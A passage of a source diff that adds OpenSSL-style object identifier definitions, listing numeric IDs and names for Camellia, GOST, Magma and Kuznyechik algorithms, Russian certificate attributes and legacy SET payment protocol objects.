"CAMELLIA-256-CBC" +#define NID_camellia_192_cbc 752 +#define LN_camellia_192_cbc "camellia-192-cbc" +#define SN_camellia_192_cbc "CAMELLIA-192-CBC" +#define NID_camellia_128_cbc 751 +#define LN_camellia_128_cbc "camellia-128-cbc" +#define SN_camellia_128_cbc "CAMELLIA-128-CBC" +#define NID_magma_mac 1192 +#define SN_magma_mac "magma-mac" +#define NID_magma_cfb 1191 +#define SN_magma_cfb "magma-cfb" +#define NID_magma_cbc 1190 +#define SN_magma_cbc "magma-cbc" +#define NID_magma_ofb 1189 +#define SN_magma_ofb "magma-ofb" +#define NID_magma_ctr 1188 +#define SN_magma_ctr "magma-ctr" +#define NID_magma_ecb 1187 +#define SN_magma_ecb "magma-ecb" +#define NID_kuznyechik_mac 1017 +#define SN_kuznyechik_mac "kuznyechik-mac" +#define NID_kuznyechik_cfb 1016 +#define SN_kuznyechik_cfb "kuznyechik-cfb" +#define NID_kuznyechik_cbc 1015 +#define SN_kuznyechik_cbc "kuznyechik-cbc" +#define NID_kuznyechik_ofb 1014 +#define SN_kuznyechik_ofb "kuznyechik-ofb" +#define NID_kuznyechik_ctr 1013 +#define SN_kuznyechik_ctr "kuznyechik-ctr" +#define NID_kuznyechik_ecb 1012 +#define SN_kuznyechik_ecb "kuznyechik-ecb" +#define NID_classSignToolKA1 1233 +#define LN_classSignToolKA1 "Class of Signing Tool KA1" +#define SN_classSignToolKA1 "classSignToolKA1" +#define NID_classSignToolKB2 1232 +#define LN_classSignToolKB2 "Class of Signing Tool KB2" +#define SN_classSignToolKB2 "classSignToolKB2" +#define NID_classSignToolKB1 1231 +#define LN_classSignToolKB1 "Class of Signing Tool KB1" +#define SN_classSignToolKB1 "classSignToolKB1" +#define NID_classSignToolKC3 1230 +#define LN_classSignToolKC3 "Class of Signing Tool KC3" +#define SN_classSignToolKC3 "classSignToolKC3" +#define NID_classSignToolKC2 1229 +#define LN_classSignToolKC2 "Class of Signing Tool KC2" +#define SN_classSignToolKC2 "classSignToolKC2" +#define NID_classSignToolKC1 1228 +#define LN_classSignToolKC1 "Class of Signing Tool KC1" +#define SN_classSignToolKC1 "classSignToolKC1" +#define NID_classSignTool 1227 +#define LN_classSignTool "Class of Signing Tool" +#define SN_classSignTool "classSignTool" +#define NID_issuerSignTool 1008 +#define LN_issuerSignTool "Signing Tool of Issuer" +#define SN_issuerSignTool "issuerSignTool" +#define NID_subjectSignTool 1007 +#define LN_subjectSignTool "Signing Tool of Subject" +#define SN_subjectSignTool "subjectSignTool" +#define NID_OGRNIP 1226 +#define LN_OGRNIP "OGRNIP" +#define SN_OGRNIP "OGRNIP" +#define NID_SNILS 1006 +#define LN_SNILS "SNILS" +#define SN_SNILS "SNILS" +#define NID_OGRN 1005 +#define LN_OGRN "OGRN" +#define SN_OGRN "OGRN" +#define NID_INN 1004 +#define LN_INN "INN" +#define SN_INN "INN" +#define NID_id_tc26_gost_28147_param_Z 1003 +#define LN_id_tc26_gost_28147_param_Z "GOST 28147-89 TC26 parameter set" +#define SN_id_tc26_gost_28147_param_Z "id-tc26-gost-28147-param-Z" +#define NID_id_tc26_gost_28147_constants 1002 +#define SN_id_tc26_gost_28147_constants "id-tc26-gost-28147-constants" +#define NID_id_tc26_cipher_constants 1001 +#define SN_id_tc26_cipher_constants "id-tc26-cipher-constants" +#define NID_id_tc26_digest_constants 1000 +#define SN_id_tc26_digest_constants "id-tc26-digest-constants" +#define NID_id_tc26_gost_3410_2012_512_paramSetC 1149 +#define LN_id_tc26_gost_3410_2012_512_paramSetC "GOST R 34.10-2012 (512 bit) ParamSet C" +#define SN_id_tc26_gost_3410_2012_512_paramSetC "id-tc26-gost-3410-2012-512-paramSetC" +#define NID_id_tc26_gost_3410_2012_512_paramSetB 999 +#define LN_id_tc26_gost_3410_2012_512_paramSetB "GOST R 34.10-2012 (512 bit) ParamSet B" +#define SN_id_tc26_gost_3410_2012_512_paramSetB "id-tc26-gost-3410-2012-512-paramSetB" +#define NID_id_tc26_gost_3410_2012_512_paramSetA 998 +#define LN_id_tc26_gost_3410_2012_512_paramSetA "GOST R 34.10-2012 (512 bit) ParamSet A" +#define SN_id_tc26_gost_3410_2012_512_paramSetA "id-tc26-gost-3410-2012-512-paramSetA" +#define NID_id_tc26_gost_3410_2012_512_paramSetTest 997 +#define LN_id_tc26_gost_3410_2012_512_paramSetTest "GOST R 34.10-2012 (512 bit) testing parameter set" +#define SN_id_tc26_gost_3410_2012_512_paramSetTest "id-tc26-gost-3410-2012-512-paramSetTest" +#define NID_id_tc26_gost_3410_2012_512_constants 996 +#define SN_id_tc26_gost_3410_2012_512_constants "id-tc26-gost-3410-2012-512-constants" +#define NID_id_tc26_gost_3410_2012_256_paramSetD 1186 +#define LN_id_tc26_gost_3410_2012_256_paramSetD "GOST R 34.10-2012 (256 bit) ParamSet D" +#define SN_id_tc26_gost_3410_2012_256_paramSetD "id-tc26-gost-3410-2012-256-paramSetD" +#define NID_id_tc26_gost_3410_2012_256_paramSetC 1185 +#define LN_id_tc26_gost_3410_2012_256_paramSetC "GOST R 34.10-2012 (256 bit) ParamSet C" +#define SN_id_tc26_gost_3410_2012_256_paramSetC "id-tc26-gost-3410-2012-256-paramSetC" +#define NID_id_tc26_gost_3410_2012_256_paramSetB 1184 +#define LN_id_tc26_gost_3410_2012_256_paramSetB "GOST R 34.10-2012 (256 bit) ParamSet B" +#define SN_id_tc26_gost_3410_2012_256_paramSetB "id-tc26-gost-3410-2012-256-paramSetB" +#define NID_id_tc26_gost_3410_2012_256_paramSetA 1148 +#define LN_id_tc26_gost_3410_2012_256_paramSetA "GOST R 34.10-2012 (256 bit) ParamSet A" +#define SN_id_tc26_gost_3410_2012_256_paramSetA "id-tc26-gost-3410-2012-256-paramSetA" +#define NID_id_tc26_gost_3410_2012_256_constants 1147 +#define SN_id_tc26_gost_3410_2012_256_constants "id-tc26-gost-3410-2012-256-constants" +#define NID_id_tc26_sign_constants 995 +#define SN_id_tc26_sign_constants "id-tc26-sign-constants" +#define NID_id_tc26_constants 994 +#define SN_id_tc26_constants "id-tc26-constants" +#define NID_kuznyechik_kexp15 1183 +#define SN_kuznyechik_kexp15 "kuznyechik-kexp15" +#define NID_id_tc26_wrap_gostr3412_2015_kuznyechik 1182 +#define SN_id_tc26_wrap_gostr3412_2015_kuznyechik "id-tc26-wrap-gostr3412-2015-kuznyechik" +#define NID_magma_kexp15 1181 +#define SN_magma_kexp15 "magma-kexp15" +#define NID_id_tc26_wrap_gostr3412_2015_magma 1180 +#define SN_id_tc26_wrap_gostr3412_2015_magma "id-tc26-wrap-gostr3412-2015-magma" +#define NID_id_tc26_wrap 1179 +#define SN_id_tc26_wrap "id-tc26-wrap" +#define NID_id_tc26_agreement_gost_3410_2012_512 993 +#define SN_id_tc26_agreement_gost_3410_2012_512 "id-tc26-agreement-gost-3410-2012-512" +#define NID_id_tc26_agreement_gost_3410_2012_256 992 +#define SN_id_tc26_agreement_gost_3410_2012_256 "id-tc26-agreement-gost-3410-2012-256" +#define NID_id_tc26_agreement 991 +#define SN_id_tc26_agreement "id-tc26-agreement" +#define NID_kuznyechik_ctr_acpkm_omac 1178 +#define SN_kuznyechik_ctr_acpkm_omac "kuznyechik-ctr-acpkm-omac" +#define NID_kuznyechik_ctr_acpkm 1177 +#define SN_kuznyechik_ctr_acpkm "kuznyechik-ctr-acpkm" +#define NID_id_tc26_cipher_gostr3412_2015_kuznyechik 1176 +#define SN_id_tc26_cipher_gostr3412_2015_kuznyechik "id-tc26-cipher-gostr3412-2015-kuznyechik" +#define NID_magma_ctr_acpkm_omac 1175 +#define SN_magma_ctr_acpkm_omac "magma-ctr-acpkm-omac" +#define NID_magma_ctr_acpkm 1174 +#define SN_magma_ctr_acpkm "magma-ctr-acpkm" +#define NID_id_tc26_cipher_gostr3412_2015_magma 1173 +#define SN_id_tc26_cipher_gostr3412_2015_magma "id-tc26-cipher-gostr3412-2015-magma" +#define NID_id_tc26_cipher 990 +#define SN_id_tc26_cipher "id-tc26-cipher" +#define NID_id_tc26_hmac_gost_3411_2012_512 989 +#define LN_id_tc26_hmac_gost_3411_2012_512 "HMAC GOST 34.11-2012 512 bit" +#define SN_id_tc26_hmac_gost_3411_2012_512 "id-tc26-hmac-gost-3411-2012-512" +#define NID_id_tc26_hmac_gost_3411_2012_256 988 +#define LN_id_tc26_hmac_gost_3411_2012_256 "HMAC GOST 34.11-2012 256 bit" +#define SN_id_tc26_hmac_gost_3411_2012_256 "id-tc26-hmac-gost-3411-2012-256" +#define NID_id_tc26_mac 987 +#define SN_id_tc26_mac "id-tc26-mac" +#define NID_id_tc26_signwithdigest_gost3410_2012_512 986 +#define LN_id_tc26_signwithdigest_gost3410_2012_512 "GOST R 34.10-2012 with GOST R 34.11-2012 (512 bit)" +#define SN_id_tc26_signwithdigest_gost3410_2012_512 "id-tc26-signwithdigest-gost3410-2012-512" +#define NID_id_tc26_signwithdigest_gost3410_2012_256 985 +#define LN_id_tc26_signwithdigest_gost3410_2012_256 "GOST R 34.10-2012 with GOST R 34.11-2012 (256 bit)" +#define SN_id_tc26_signwithdigest_gost3410_2012_256 "id-tc26-signwithdigest-gost3410-2012-256" +#define NID_id_tc26_signwithdigest 984 +#define SN_id_tc26_signwithdigest "id-tc26-signwithdigest" +#define NID_id_GostR3411_2012_512 983 +#define LN_id_GostR3411_2012_512 "GOST R 34.11-2012 with 512 bit hash" +#define SN_id_GostR3411_2012_512 "md_gost12_512" +#define NID_id_GostR3411_2012_256 982 +#define LN_id_GostR3411_2012_256 "GOST R 34.11-2012 with 256 bit hash" +#define SN_id_GostR3411_2012_256 "md_gost12_256" +#define NID_id_tc26_digest 981 +#define SN_id_tc26_digest "id-tc26-digest" +#define NID_id_GostR3410_2012_512 980 +#define LN_id_GostR3410_2012_512 "GOST R 34.10-2012 with 512 bit modulus" +#define SN_id_GostR3410_2012_512 "gost2012_512" +#define NID_id_GostR3410_2012_256 979 +#define LN_id_GostR3410_2012_256 "GOST R 34.10-2012 with 256 bit modulus" +#define SN_id_GostR3410_2012_256 "gost2012_256" +#define NID_id_tc26_sign 978 +#define SN_id_tc26_sign "id-tc26-sign" +#define NID_id_tc26_algorithms 977 +#define SN_id_tc26_algorithms "id-tc26-algorithms" +#define NID_id_GostR3410_2001_ParamSet_cc 854 +#define LN_id_GostR3410_2001_ParamSet_cc "GOST R 3410-2001 Parameter Set Cryptocom" +#define SN_id_GostR3410_2001_ParamSet_cc "id-GostR3410-2001-ParamSet-cc" +#define NID_id_GostR3411_94_with_GostR3410_2001_cc 853 +#define LN_id_GostR3411_94_with_GostR3410_2001_cc "GOST R 34.11-94 with GOST R 34.10-2001 Cryptocom" +#define SN_id_GostR3411_94_with_GostR3410_2001_cc "id-GostR3411-94-with-GostR3410-2001-cc" +#define NID_id_GostR3411_94_with_GostR3410_94_cc 852 +#define LN_id_GostR3411_94_with_GostR3410_94_cc "GOST R 34.11-94 with GOST R 34.10-94 Cryptocom" +#define SN_id_GostR3411_94_with_GostR3410_94_cc "id-GostR3411-94-with-GostR3410-94-cc" +#define NID_id_GostR3410_2001_cc 851 +#define LN_id_GostR3410_2001_cc "GOST 34.10-2001 Cryptocom" +#define SN_id_GostR3410_2001_cc "gost2001cc" +#define NID_id_GostR3410_94_cc 850 +#define LN_id_GostR3410_94_cc "GOST 34.10-94 Cryptocom" +#define SN_id_GostR3410_94_cc "gost94cc" +#define NID_id_Gost28147_89_cc 849 +#define LN_id_Gost28147_89_cc "GOST 28147-89 Cryptocom ParamSet" +#define SN_id_Gost28147_89_cc "id-Gost28147-89-cc" +#define NID_id_GostR3410_94_bBis 848 +#define SN_id_GostR3410_94_bBis "id-GostR3410-94-bBis" +#define NID_id_GostR3410_94_b 847 +#define SN_id_GostR3410_94_b "id-GostR3410-94-b" +#define NID_id_GostR3410_94_aBis 846 +#define SN_id_GostR3410_94_aBis "id-GostR3410-94-aBis" +#define NID_id_GostR3410_94_a 845 +#define SN_id_GostR3410_94_a "id-GostR3410-94-a" +#define NID_id_GostR3410_2001_CryptoPro_XchB_ParamSet 844 +#define SN_id_GostR3410_2001_CryptoPro_XchB_ParamSet "id-GostR3410-2001-CryptoPro-XchB-ParamSet" +#define NID_id_GostR3410_2001_CryptoPro_XchA_ParamSet 843 +#define SN_id_GostR3410_2001_CryptoPro_XchA_ParamSet "id-GostR3410-2001-CryptoPro-XchA-ParamSet" +#define NID_id_GostR3410_2001_CryptoPro_C_ParamSet 842 +#define SN_id_GostR3410_2001_CryptoPro_C_ParamSet "id-GostR3410-2001-CryptoPro-C-ParamSet" +#define NID_id_GostR3410_2001_CryptoPro_B_ParamSet 841 +#define SN_id_GostR3410_2001_CryptoPro_B_ParamSet "id-GostR3410-2001-CryptoPro-B-ParamSet" +#define NID_id_GostR3410_2001_CryptoPro_A_ParamSet 840 +#define SN_id_GostR3410_2001_CryptoPro_A_ParamSet "id-GostR3410-2001-CryptoPro-A-ParamSet" +#define NID_id_GostR3410_2001_TestParamSet 839 +#define SN_id_GostR3410_2001_TestParamSet "id-GostR3410-2001-TestParamSet" +#define NID_id_GostR3410_94_CryptoPro_XchC_ParamSet 838 +#define SN_id_GostR3410_94_CryptoPro_XchC_ParamSet "id-GostR3410-94-CryptoPro-XchC-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_XchB_ParamSet 837 +#define SN_id_GostR3410_94_CryptoPro_XchB_ParamSet "id-GostR3410-94-CryptoPro-XchB-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_XchA_ParamSet 836 +#define SN_id_GostR3410_94_CryptoPro_XchA_ParamSet "id-GostR3410-94-CryptoPro-XchA-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_D_ParamSet 835 +#define SN_id_GostR3410_94_CryptoPro_D_ParamSet "id-GostR3410-94-CryptoPro-D-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_C_ParamSet 834 +#define SN_id_GostR3410_94_CryptoPro_C_ParamSet "id-GostR3410-94-CryptoPro-C-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_B_ParamSet 833 +#define SN_id_GostR3410_94_CryptoPro_B_ParamSet "id-GostR3410-94-CryptoPro-B-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_A_ParamSet 832 +#define SN_id_GostR3410_94_CryptoPro_A_ParamSet "id-GostR3410-94-CryptoPro-A-ParamSet" +#define NID_id_GostR3410_94_TestParamSet 831 +#define SN_id_GostR3410_94_TestParamSet "id-GostR3410-94-TestParamSet" +#define NID_id_Gost28147_89_CryptoPro_RIC_1_ParamSet 830 +#define SN_id_Gost28147_89_CryptoPro_RIC_1_ParamSet "id-Gost28147-89-CryptoPro-RIC-1-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_Oscar_1_0_ParamSet 829 +#define SN_id_Gost28147_89_CryptoPro_Oscar_1_0_ParamSet "id-Gost28147-89-CryptoPro-Oscar-1-0-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_Oscar_1_1_ParamSet 828 +#define SN_id_Gost28147_89_CryptoPro_Oscar_1_1_ParamSet "id-Gost28147-89-CryptoPro-Oscar-1-1-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_D_ParamSet 827 +#define SN_id_Gost28147_89_CryptoPro_D_ParamSet "id-Gost28147-89-CryptoPro-D-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_C_ParamSet 826 +#define SN_id_Gost28147_89_CryptoPro_C_ParamSet "id-Gost28147-89-CryptoPro-C-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_B_ParamSet 825 +#define SN_id_Gost28147_89_CryptoPro_B_ParamSet "id-Gost28147-89-CryptoPro-B-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_A_ParamSet 824 +#define SN_id_Gost28147_89_CryptoPro_A_ParamSet "id-Gost28147-89-CryptoPro-A-ParamSet" +#define NID_id_Gost28147_89_TestParamSet 823 +#define SN_id_Gost28147_89_TestParamSet "id-Gost28147-89-TestParamSet" +#define NID_id_GostR3411_94_CryptoProParamSet 822 +#define SN_id_GostR3411_94_CryptoProParamSet "id-GostR3411-94-CryptoProParamSet" +#define NID_id_GostR3411_94_TestParamSet 821 +#define SN_id_GostR3411_94_TestParamSet "id-GostR3411-94-TestParamSet" +#define NID_id_Gost28147_89_None_KeyMeshing 820 +#define SN_id_Gost28147_89_None_KeyMeshing "id-Gost28147-89-None-KeyMeshing" +#define NID_id_Gost28147_89_CryptoPro_KeyMeshing 819 +#define SN_id_Gost28147_89_CryptoPro_KeyMeshing "id-Gost28147-89-CryptoPro-KeyMeshing" +#define NID_id_GostR3410_94DH 818 +#define LN_id_GostR3410_94DH "GOST R 34.10-94 DH" +#define SN_id_GostR3410_94DH "id-GostR3410-94DH" +#define NID_id_GostR3410_2001DH 817 +#define LN_id_GostR3410_2001DH "GOST R 34.10-2001 DH" +#define SN_id_GostR3410_2001DH "id-GostR3410-2001DH" +#define NID_id_GostR3411_94_prf 816 +#define LN_id_GostR3411_94_prf "GOST R 34.11-94 PRF" +#define SN_id_GostR3411_94_prf "prf-gostr3411-94" +#define NID_gost_mac_12 976 +#define SN_gost_mac_12 "gost-mac-12" +#define NID_id_Gost28147_89_MAC 815 +#define LN_id_Gost28147_89_MAC "GOST 28147-89 MAC" +#define SN_id_Gost28147_89_MAC "gost-mac" +#define NID_gost89_ctr 1011 +#define SN_gost89_ctr "gost89-ctr" +#define NID_gost89_ecb 1010 +#define SN_gost89_ecb "gost89-ecb" +#define NID_gost89_cbc 1009 +#define SN_gost89_cbc "gost89-cbc" +#define NID_gost89_cnt_12 975 +#define SN_gost89_cnt_12 "gost89-cnt-12" +#define NID_gost89_cnt 814 +#define SN_gost89_cnt "gost89-cnt" +#define NID_id_Gost28147_89 813 +#define LN_id_Gost28147_89 "GOST 28147-89" +#define SN_id_Gost28147_89 "gost89" +#define NID_id_GostR3410_94 812 +#define LN_id_GostR3410_94 "GOST R 34.10-94" +#define SN_id_GostR3410_94 "gost94" +#define NID_id_GostR3410_2001 811 +#define LN_id_GostR3410_2001 "GOST R 34.10-2001" +#define SN_id_GostR3410_2001 "gost2001" +#define NID_id_HMACGostR3411_94 810 +#define LN_id_HMACGostR3411_94 "HMAC GOST 34.11-94" +#define SN_id_HMACGostR3411_94 "id-HMACGostR3411-94" +#define NID_id_GostR3411_94 809 +#define LN_id_GostR3411_94 "GOST R 34.11-94" +#define SN_id_GostR3411_94 "md_gost94" +#define NID_id_GostR3411_94_with_GostR3410_94 808 +#define LN_id_GostR3411_94_with_GostR3410_94 "GOST R 34.11-94 with GOST R 34.10-94" +#define SN_id_GostR3411_94_with_GostR3410_94 "id-GostR3411-94-with-GostR3410-94" +#define NID_id_GostR3411_94_with_GostR3410_2001 807 +#define LN_id_GostR3411_94_with_GostR3410_2001 "GOST R 34.11-94 with GOST R 34.10-2001" +#define SN_id_GostR3411_94_with_GostR3410_2001 "id-GostR3411-94-with-GostR3410-2001" +#define NID_id_tc26 974 +#define SN_id_tc26 "id-tc26" +#define NID_cryptocom 806 +#define SN_cryptocom "cryptocom" +#define NID_cryptopro 805 +#define SN_cryptopro "cryptopro" +#define NID_whirlpool 804 +#define SN_whirlpool "whirlpool" +#define NID_ipsec4 750 +#define LN_ipsec4 "ipsec4" +#define SN_ipsec4 "Oakley-EC2N-4" +#define NID_ipsec3 749 +#define LN_ipsec3 "ipsec3" +#define SN_ipsec3 "Oakley-EC2N-3" +#define NID_rsaOAEPEncryptionSET 644 +#define SN_rsaOAEPEncryptionSET "rsaOAEPEncryptionSET" +#define NID_des_cdmf 643 +#define LN_des_cdmf "des-cdmf" +#define SN_des_cdmf "DES-CDMF" +#define NID_set_brand_Novus 642 +#define SN_set_brand_Novus "set-brand-Novus" +#define NID_set_brand_MasterCard 641 +#define SN_set_brand_MasterCard "set-brand-MasterCard" +#define NID_set_brand_Visa 640 +#define SN_set_brand_Visa "set-brand-Visa" +#define NID_set_brand_JCB 639 +#define SN_set_brand_JCB "set-brand-JCB" +#define NID_set_brand_AmericanExpress 638 +#define SN_set_brand_AmericanExpress "set-brand-AmericanExpress" +#define NID_set_brand_Diners 637 +#define SN_set_brand_Diners "set-brand-Diners" +#define NID_set_brand_IATA_ATA 636 +#define SN_set_brand_IATA_ATA "set-brand-IATA-ATA" +#define NID_setAttr_SecDevSig 635 +#define LN_setAttr_SecDevSig "secure device signature" +#define SN_setAttr_SecDevSig "setAttr-SecDevSig" +#define NID_setAttr_TokICCsig 634 +#define LN_setAttr_TokICCsig "ICC or token signature" +#define SN_setAttr_TokICCsig "setAttr-TokICCsig" +#define NID_setAttr_T2cleartxt 633 +#define LN_setAttr_T2cleartxt "cleartext track 2" +#define SN_setAttr_T2cleartxt "setAttr-T2cleartxt" +#define NID_setAttr_T2Enc 632 +#define LN_setAttr_T2Enc "encrypted track 2" +#define SN_setAttr_T2Enc "setAttr-T2Enc" +#define NID_setAttr_GenCryptgrm 631 +#define LN_setAttr_GenCryptgrm "generate cryptogram" +#define SN_setAttr_GenCryptgrm "setAttr-GenCryptgrm" +#define NID_setAttr_IssCap_Sig 630 +#define SN_setAttr_IssCap_Sig "setAttr-IssCap-Sig" +#define NID_setAttr_IssCap_T2 629 +#define SN_setAttr_IssCap_T2 "setAttr-IssCap-T2" +#define NID_setAttr_IssCap_CVM 628 +#define SN_setAttr_IssCap_CVM "setAttr-IssCap-CVM" +#define NID_setAttr_Token_B0Prime 627 +#define SN_setAttr_Token_B0Prime "setAttr-Token-B0Prime" +#define NID_setAttr_Token_EMV 626 +#define SN_setAttr_Token_EMV "setAttr-Token-EMV" +#define NID_set_addPolicy 625 +#define SN_set_addPolicy "set-addPolicy" +#define NID_set_rootKeyThumb 624 +#define SN_set_rootKeyThumb "set-rootKeyThumb" +#define NID_setAttr_IssCap 623 +#define LN_setAttr_IssCap "issuer capabilities" +#define SN_setAttr_IssCap "setAttr-IssCap" +#define NID_setAttr_TokenType 622 +#define SN_setAttr_TokenType "setAttr-TokenType" +#define NID_setAttr_PGWYcap 621 +#define LN_setAttr_PGWYcap "payment gateway capabilities" +#define SN_setAttr_PGWYcap "setAttr-PGWYcap" +#define NID_setAttr_Cert 620 +#define SN_setAttr_Cert "setAttr-Cert" +#define NID_setCext_IssuerCapabilities 619 +#define SN_setCext_IssuerCapabilities "setCext-IssuerCapabilities" +#define NID_setCext_TokenType 618 +#define SN_setCext_TokenType "setCext-TokenType" +#define NID_setCext_Track2Data 617 +#define SN_setCext_Track2Data "setCext-Track2Data" +#define NID_setCext_TokenIdentifier 616 +#define SN_setCext_TokenIdentifier "setCext-TokenIdentifier" +#define NID_setCext_PGWYcapabilities 615 +#define SN_setCext_PGWYcapabilities "setCext-PGWYcapabilities" +#define NID_setCext_setQualf 614 +#define SN_setCext_setQualf "setCext-setQualf" +#define NID_setCext_setExt 613 +#define SN_setCext_setExt "setCext-setExt" +#define NID_setCext_tunneling 612 +#define SN_setCext_tunneling "setCext-tunneling" +#define NID_setCext_cCertRequired 611 +#define SN_setCext_cCertRequired "setCext-cCertRequired" +#define NID_setCext_merchData 610 +#define SN_setCext_merchData "setCext-merchData" +#define NID_setCext_certType 609 +#define SN_setCext_certType "setCext-certType" +#define NID_setCext_hashedRoot 608 +#define SN_setCext_hashedRoot "setCext-hashedRoot" +#define NID_set_policy_root 607 +#define SN_set_policy_root "set-policy-root" +#define NID_setext_cv 606 +#define LN_setext_cv "additional verification" +#define SN_setext_cv "setext-cv" +#define NID_setext_track2 605 +#define SN_setext_track2 "setext-track2" +#define NID_setext_pinAny 604 +#define SN_setext_pinAny "setext-pinAny" +#define NID_setext_pinSecure 603 +#define SN_setext_pinSecure "setext-pinSecure" +#define NID_setext_miAuth 602 +#define LN_setext_miAuth "merchant initiated auth" +#define SN_setext_miAuth "setext-miAuth" +#define NID_setext_genCrypt 601 +#define LN_setext_genCrypt "generic cryptogram" +#define SN_setext_genCrypt "setext-genCrypt" +#define NID_setct_BCIDistributionTBS 600 +#define SN_setct_BCIDistributionTBS "setct-BCIDistributionTBS" +#define NID_setct_CRLNotificationResTBS 599 +#define SN_setct_CRLNotificationResTBS "setct-CRLNotificationResTBS" +#define NID_setct_CRLNotificationTBS 598 +#define SN_setct_CRLNotificationTBS "setct-CRLNotificationTBS" +#define NID_setct_CertResTBE 597 +#define SN_setct_CertResTBE "setct-CertResTBE" +#define NID_setct_CertReqTBEX 596 +#define SN_setct_CertReqTBEX "setct-CertReqTBEX" +#define NID_setct_CertReqTBE 595 +#define SN_setct_CertReqTBE "setct-CertReqTBE" +#define NID_setct_RegFormReqTBE 594 +#define SN_setct_RegFormReqTBE "setct-RegFormReqTBE" +#define NID_setct_BatchAdminResTBE 593 +#define SN_setct_BatchAdminResTBE "setct-BatchAdminResTBE" +#define NID_setct_BatchAdminReqTBE 592 +#define SN_setct_BatchAdminReqTBE "setct-BatchAdminReqTBE" +#define NID_setct_CredRevResTBE 591 +#define SN_setct_CredRevResTBE "setct-CredRevResTBE" +#define NID_setct_CredRevReqTBEX 590 +#define SN_setct_CredRevReqTBEX "setct-CredRevReqTBEX" +#define NID_setct_CredRevReqTBE 589 +#define SN_setct_CredRevReqTBE "setct-CredRevReqTBE" +#define NID_setct_CredResTBE 588 +#define SN_setct_CredResTBE "setct-CredResTBE" +#define NID_setct_CredReqTBEX 587 +#define SN_setct_CredReqTBEX "setct-CredReqTBEX" +#define NID_setct_CredReqTBE 586 +#define SN_setct_CredReqTBE "setct-CredReqTBE" +#define NID_setct_CapRevResTBE 585 +#define SN_setct_CapRevResTBE "setct-CapRevResTBE" +#define NID_setct_CapRevReqTBEX 584 +#define SN_setct_CapRevReqTBEX "setct-CapRevReqTBEX" +#define NID_setct_CapRevReqTBE 583 +#define SN_setct_CapRevReqTBE "setct-CapRevReqTBE" +#define NID_setct_CapResTBE 582 +#define SN_setct_CapResTBE "setct-CapResTBE" +#define NID_setct_CapReqTBEX 581 +#define SN_setct_CapReqTBEX "setct-CapReqTBEX" +#define NID_setct_CapReqTBE 580 +#define SN_setct_CapReqTBE "setct-CapReqTBE" +#define NID_setct_AuthRevResTBEB 579 +#define SN_setct_AuthRevResTBEB "setct-AuthRevResTBEB" +#define NID_setct_AuthRevResTBE 578 +#define SN_setct_AuthRevResTBE "setct-AuthRevResTBE" +#define NID_setct_AuthRevReqTBE 577 +#define SN_setct_AuthRevReqTBE "setct-AuthRevReqTBE" +#define NID_setct_AcqCardCodeMsgTBE 576 +#define SN_setct_AcqCardCodeMsgTBE "setct-AcqCardCodeMsgTBE" +#define NID_setct_CapTokenTBEX 575 +#define SN_setct_CapTokenTBEX "setct-CapTokenTBEX" +#define NID_setct_CapTokenTBE 574 +#define SN_setct_CapTokenTBE "setct-CapTokenTBE" +#define NID_setct_AuthTokenTBE 573 +#define SN_setct_AuthTokenTBE "setct-AuthTokenTBE" +#define NID_setct_AuthResTBEX 572 +#define SN_setct_AuthResTBEX "setct-AuthResTBEX" +#define NID_setct_AuthResTBE 571 +#define SN_setct_AuthResTBE "setct-AuthResTBE" +#define NID_setct_AuthReqTBE 570 +#define SN_setct_AuthReqTBE "setct-AuthReqTBE" +#define NID_setct_PIUnsignedTBE 569 +#define SN_setct_PIUnsignedTBE "setct-PIUnsignedTBE" +#define NID_setct_PIDualSignedTBE 568 +#define SN_setct_PIDualSignedTBE "setct-PIDualSignedTBE" +#define NID_setct_ErrorTBS 567 +#define SN_setct_ErrorTBS "setct-ErrorTBS" +#define NID_setct_CertInqReqTBS 566 +#define SN_setct_CertInqReqTBS "setct-CertInqReqTBS" +#define NID_setct_CertResData 565 +#define SN_setct_CertResData "setct-CertResData" +#define NID_setct_CertReqTBS 564 +#define SN_setct_CertReqTBS "setct-CertReqTBS" +#define NID_setct_CertReqData 563 +#define SN_setct_CertReqData "setct-CertReqData" +#define NID_setct_RegFormResTBS 562 +#define SN_setct_RegFormResTBS "setct-RegFormResTBS" +#define NID_setct_MeAqCInitResTBS 561 +#define SN_setct_MeAqCInitResTBS "setct-MeAqCInitResTBS" +#define NID_setct_CardCInitResTBS 560 +#define SN_setct_CardCInitResTBS "setct-CardCInitResTBS" +#define NID_setct_BatchAdminResData 559 +#define SN_setct_BatchAdminResData "setct-BatchAdminResData" +#define NID_setct_BatchAdminReqData 558 +#define SN_setct_BatchAdminReqData "setct-BatchAdminReqData" +#define NID_setct_PCertResTBS 557 +#define SN_setct_PCertResTBS "setct-PCertResTBS" +#define NID_setct_PCertReqData 556 +#define SN_setct_PCertReqData "setct-PCertReqData" +#define NID_setct_CredRevResData 555 +#define SN_setct_CredRevResData "setct-CredRevResData" +#define NID_setct_CredRevReqTBSX 554 +#define SN_setct_CredRevReqTBSX "setct-CredRevReqTBSX" +#define NID_setct_CredRevReqTBS 553 +#define SN_setct_CredRevReqTBS "setct-CredRevReqTBS" +#define NID_setct_CredResData 552 +#define SN_setct_CredResData "setct-CredResData" +#define NID_setct_CredReqTBSX 551 +#define SN_setct_CredReqTBSX "setct-CredReqTBSX" +#define NID_setct_CredReqTBS 550 +#define SN_setct_CredReqTBS "setct-CredReqTBS" +#define NID_setct_CapRevResData 549 +#define SN_setct_CapRevResData "setct-CapRevResData" +#define NID_setct_CapRevReqTBSX 548 +#define SN_setct_CapRevReqTBSX "setct-CapRevReqTBSX" +#define NID_setct_CapRevReqTBS 547 +#define SN_setct_CapRevReqTBS "setct-CapRevReqTBS" +#define NID_setct_CapResData 546 +#define SN_setct_CapResData "setct-CapResData" +#define NID_setct_CapReqTBSX 545 +#define SN_setct_CapReqTBSX "setct-CapReqTBSX" +#define NID_setct_CapReqTBS 544 +#define SN_setct_CapReqTBS "setct-CapReqTBS" +#define NID_setct_AuthRevResTBS 543 +#define SN_setct_AuthRevResTBS "setct-AuthRevResTBS" +#define 